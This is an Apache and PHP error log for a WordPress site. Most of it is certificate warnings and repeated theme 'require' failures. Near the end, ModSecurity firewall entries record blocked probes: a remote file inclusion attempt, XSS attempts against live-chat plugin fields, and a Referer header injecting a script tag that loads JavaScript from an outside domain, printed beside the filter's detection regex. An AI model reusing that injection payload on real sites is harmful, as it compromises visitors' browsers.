[Thu Sep 19 18:51:19.524285 2019] [ssl:warn] [pid 2400] AH01909: RSA certificate configured for fincasandoval.com:443 does NOT include an ID which matches the server name
[Thu Sep 19 18:51:19.942230 2019] [ssl:warn] [pid 2400] AH01909: RSA certificate configured for fincasandoval.com:443 does NOT include an ID which matches the server name
[Thu Sep 19 19:54:11.287974 2019] [ssl:warn] [pid 13391] AH01909: RSA certificate configured for fincasandoval.com:443 does NOT include an ID which matches the server name
[Thu Sep 19 19:54:11.602083 2019] [ssl:warn] [pid 13391] AH01909: RSA certificate configured for fincasandoval.com:443 does NOT include an ID which matches the server name
[Thu Sep 19 19:56:05.822361 2019] [ssl:warn] [pid 14118] AH01909: RSA certificate configured for fincasandoval.com:443 does NOT include an ID which matches the server name
[Thu Sep 19 19:56:06.114572 2019] [ssl:warn] [pid 14118] AH01909: RSA certificate configured for fincasandoval.com:443 does NOT include an ID which matches the server name
[Thu Sep 19 20:22:46.362449 2019] [proxy_fcgi:error] [pid 16940] [client 178.23.211.234:49640] AH01071: Got error 'PHP message: PHP Warning:  POST Content-Length of 20570674 bytes exceeds the limit of 8388608 bytes in Unknown on line 0\n', referer: https://fincasandoval.com/wp-admin/admin.php?import=wordpress
[Fri Sep 20 11:58:10.827010 2019] [proxy_fcgi:error] [pid 21593] [client 178.23.211.234:62294] AH01068: Got bogus version 60, referer: https://fincasandoval.com/wp-admin/themes.php
[Fri Sep 20 11:58:10.827760 2019] [proxy_fcgi:error] [pid 21593] (22)Invalid argument: [client 178.23.211.234:62294] AH01075: Error dispatching request to :, referer: https://fincasandoval.com/wp-admin/themes.php
[Fri Sep 20 15:04:37.849500 2019] [proxy_fcgi:error] [pid 10939] [client 178.23.211.234:50295] AH01071: Got error 'PHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Fatal error:  require(): Failed opening required '/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php' (include_path='.:/opt/plesk/php/7.2/share/pear') in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\n', referer: https://fincasandoval.com/wp-admin/themes.php
[Fri Sep 20 15:04:51.508317 2019] [proxy_fcgi:error] [pid 11180] [client 178.23.211.234:50305] AH01071: Got error 'PHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Fatal error:  require(): Failed opening required '/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php' (include_path='.:/opt/plesk/php/7.2/share/pear') in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\n'
[Fri Sep 20 15:04:57.839888 2019] [proxy_fcgi:error] [pid 11127] [client 178.23.211.234:50309] AH01071: Got error 'PHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Fatal error:  require(): Failed opening required '/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php' (include_path='.:/opt/plesk/php/7.2/share/pear') in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\n'
[Fri Sep 20 15:05:00.565167 2019] [proxy_fcgi:error] [pid 11123] [client 178.23.211.234:50311] AH01071: Got error 'PHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Fatal error:  require(): Failed opening required '/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php' (include_path='.:/opt/plesk/php/7.2/share/pear') in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\n'
[Fri Sep 20 15:05:01.324817 2019] [proxy_fcgi:error] [pid 11058] [client 178.23.211.234:50313] AH01071: Got error 'PHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Fatal error:  require(): Failed opening required '/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php' (include_path='.:/opt/plesk/php/7.2/share/pear') in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\n'
[Fri Sep 20 15:05:01.780358 2019] [proxy_fcgi:error] [pid 11138] [client 178.23.211.234:50315] AH01071: Got error 'PHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Fatal error:  require(): Failed opening required '/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php' (include_path='.:/opt/plesk/php/7.2/share/pear') in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\n'
[Fri Sep 20 15:05:01.975555 2019] [proxy_fcgi:error] [pid 11061] [client 178.23.211.234:50317] AH01071: Got error 'PHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Fatal error:  require(): Failed opening required '/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php' (include_path='.:/opt/plesk/php/7.2/share/pear') in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\n'
[Fri Sep 20 15:05:02.174912 2019] [proxy_fcgi:error] [pid 11144] [client 178.23.211.234:50319] AH01071: Got error 'PHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Fatal error:  require(): Failed opening required '/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php' (include_path='.:/opt/plesk/php/7.2/share/pear') in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\n'
[Fri Sep 20 15:05:02.363251 2019] [proxy_fcgi:error] [pid 11058] [client 178.23.211.234:50321] AH01071: Got error 'PHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Fatal error:  require(): Failed opening required '/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php' (include_path='.:/opt/plesk/php/7.2/share/pear') in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\n'
[Fri Sep 20 15:05:02.601385 2019] [proxy_fcgi:error] [pid 11138] [client 178.23.211.234:50323] AH01071: Got error 'PHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Fatal error:  require(): Failed opening required '/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php' (include_path='.:/opt/plesk/php/7.2/share/pear') in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\n'
[Fri Sep 20 15:05:02.981423 2019] [proxy_fcgi:error] [pid 11061] [client 178.23.211.234:50325] AH01071: Got error 'PHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Fatal error:  require(): Failed opening required '/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php' (include_path='.:/opt/plesk/php/7.2/share/pear') in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\n'
[Fri Sep 20 15:05:04.142288 2019] [proxy_fcgi:error] [pid 11144] [client 178.23.211.234:50327] AH01071: Got error 'PHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Fatal error:  require(): Failed opening required '/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php' (include_path='.:/opt/plesk/php/7.2/share/pear') in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\n'
[Fri Sep 20 15:05:04.736013 2019] [proxy_fcgi:error] [pid 11058] [client 178.23.211.234:50329] AH01071: Got error 'PHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Fatal error:  require(): Failed opening required '/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php' (include_path='.:/opt/plesk/php/7.2/share/pear') in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\n'
[Fri Sep 20 15:05:12.360530 2019] [proxy_fcgi:error] [pid 11062] [client 178.23.211.234:50335] AH01071: Got error 'PHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Fatal error:  require(): Failed opening required '/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php' (include_path='.:/opt/plesk/php/7.2/share/pear') in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\n'
[Fri Sep 20 15:05:24.298902 2019] [proxy_fcgi:error] [pid 11139] [client 178.23.211.234:50340] AH01071: Got error 'PHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Fatal error:  require(): Failed opening required '/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php' (include_path='.:/opt/plesk/php/7.2/share/pear') in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\n'
[Fri Sep 20 15:05:25.931027 2019] [proxy_fcgi:error] [pid 11062] [client 178.23.211.234:50342] AH01071: Got error 'PHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Fatal error:  require(): Failed opening required '/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php' (include_path='.:/opt/plesk/php/7.2/share/pear') in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\n'
[Fri Sep 20 15:05:26.887028 2019] [proxy_fcgi:error] [pid 11123] [client 178.23.211.234:50344] AH01071: Got error 'PHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Fatal error:  require(): Failed opening required '/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php' (include_path='.:/opt/plesk/php/7.2/share/pear') in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\n'
[Fri Sep 20 15:05:27.398046 2019] [proxy_fcgi:error] [pid 11139] [client 178.23.211.234:50346] AH01071: Got error 'PHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Fatal error:  require(): Failed opening required '/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php' (include_path='.:/opt/plesk/php/7.2/share/pear') in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\n'
[Fri Sep 20 15:05:27.578716 2019] [proxy_fcgi:error] [pid 11058] [client 178.23.211.234:50348] AH01071: Got error 'PHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Fatal error:  require(): Failed opening required '/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php' (include_path='.:/opt/plesk/php/7.2/share/pear') in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\n'
[Fri Sep 20 15:05:27.768302 2019] [proxy_fcgi:error] [pid 11138] [client 178.23.211.234:50350] AH01071: Got error 'PHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Fatal error:  require(): Failed opening required '/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php' (include_path='.:/opt/plesk/php/7.2/share/pear') in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\n'
[Fri Sep 20 15:05:27.957668 2019] [proxy_fcgi:error] [pid 10104] [client 178.23.211.234:50352] AH01071: Got error 'PHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Fatal error:  require(): Failed opening required '/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php' (include_path='.:/opt/plesk/php/7.2/share/pear') in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\n'
[Fri Sep 20 15:05:29.317497 2019] [proxy_fcgi:error] [pid 11061] [client 178.23.211.234:50355] AH01071: Got error 'PHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Fatal error:  require(): Failed opening required '/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php' (include_path='.:/opt/plesk/php/7.2/share/pear') in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\n'
[Fri Sep 20 15:05:54.392385 2019] [proxy_fcgi:error] [pid 11139] [client 178.23.211.234:50368] AH01071: Got error 'PHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Fatal error:  require(): Failed opening required '/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php' (include_path='.:/opt/plesk/php/7.2/share/pear') in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\n'
[Fri Sep 20 15:06:06.859297 2019] [proxy_fcgi:error] [pid 10501] [client 178.23.211.234:50375] AH01071: Got error 'PHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Fatal error:  require(): Failed opening required '/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php' (include_path='.:/opt/plesk/php/7.2/share/pear') in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\n'
[Fri Sep 20 15:06:14.289009 2019] [proxy_fcgi:error] [pid 10938] [client 178.23.211.234:50378] AH01071: Got error 'PHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Warning:  require(/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php): failed to open stream: No such file or directory in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\nPHP message: PHP Fatal error:  require(): Failed opening required '/var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/inc/custom-header.php' (include_path='.:/opt/plesk/php/7.2/share/pear') in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/functions.php on line 75\n'
[Sun Sep 22 03:44:55.312954 2019] [ssl:warn] [pid 14118] AH01909: RSA certificate configured for fincasandoval.com:443 does NOT include an ID which matches the server name
[Mon Sep 23 00:58:35.269848 2019] [authz_core:error] [pid 1756] [client 78.85.209.36:22505] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/wp-live-chat-support
[Mon Sep 23 11:23:05.361884 2019] [:error] [pid 6123] [client 106.52.62.115:49128] [client 106.52.62.115] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "179"] [id "33340162"] [rev "294"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: URL detected as argument, possible RFI attempt detected"] [data "%TX:1,TX:1"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Match of "beginsWith %{request_headers.host}" against "TX:1" required. [hostname "www.fincasandoval.com"] [uri "/engl/pages.php"] [unique_id "XYiO@VW5@e12Jg-wjKPMpgAAAAM"]
[Tue Sep 24 07:06:49.075947 2019] [:error] [pid 7669] [client 50.63.162.9:38286] [client 50.63.162.9] ModSecurity: Multipart parsing error (init): Multipart: Invalid boundary in C-T (characters). [hostname "fincasandoval.com"] [uri "/wp-admin/admin-post.php"] [unique_id "XYmkaZD7u1n4aL4dHMqhNQAAAAQ"]
[Tue Sep 24 07:06:59.865071 2019] [:error] [pid 13353] [client 50.63.162.9:41238] [client 50.63.162.9] ModSecurity: Multipart parsing error (init): Multipart: Invalid boundary in C-T (characters). [hostname "fincasandoval.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "XYmkc@pbHh8Q3feuO7eSjAAAAAE"]
[Tue Sep 24 07:07:08.309779 2019] [:error] [pid 13170] [client 50.62.23.56:39524] [client 50.62.23.56] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "250"] [id "33340147"] [rev "134"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data "<script"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?script|(?:<|< ?/)(?:(?:java|vb)script|about|applet|activex|chrome)|< ?/?i?frame|\\\\%env)" at ARGS:licenseEmail. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "XYmkfO1l3YvQe-CV9OKPoQAAAAo"], referer: livechat_settings
[Tue Sep 24 07:07:08.710190 2019] [:error] [pid 12854] [client 50.62.23.56:39676] [client 50.62.23.56] ModSecurity: Multipart parsing error (init): Multipart: Invalid boundary in C-T (characters). [hostname "fincasandoval.com"] [uri "/wp-admin/admin-post.php"] [unique_id "XYmkfNe0HvMphrPwBFNOeAAAAAI"]
[Tue Sep 24 07:07:09.206681 2019] [:error] [pid 13176] [client 50.62.23.56:39860] [client 50.62.23.56] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "250"] [id "33340147"] [rev "134"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data "<script"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?script|(?:<|< ?/)(?:(?:java|vb)script|about|applet|activex|chrome)|< ?/?i?frame|\\\\%env)" at ARGS:rcsp_headline. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-post.php"] [unique_id "XYmkff0Oq0XkduE4VE9qIgAAAA8"]
[Tue Sep 24 07:07:20.961600 2019] [:error] [pid 13345] [client 50.62.23.56:44182] [client 50.62.23.56] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "225"] [id "33340003"] [rev "9"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: XSS attack in request headers"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Match of "rx (clientscript/yui/connection/javascript\\\\:false$)" against "REQUEST_HEADERS:Referer" required. [hostname "fincasandoval.com"] [uri "/"] [unique_id "XYmkiEiKPdRJceX36VIp4QAAAAA"], referer: "><script type=text/javascript src='https://bes.belaterbewasthere.com/corn/flex.js?tp=1&tp=3'></script>
[Tue Sep 24 07:07:26.360388 2019] [:error] [pid 4483] [client 50.63.162.9:47006] [client 50.63.162.9] ModSecurity: Multipart parsing error (init): Multipart: Invalid boundary in C-T (characters). [hostname "fincasandoval.com"] [uri "/wp-admin/admin-post.php"] [unique_id "XYmkjtQQvIRP7sKVgnOPuwAAAD0"]
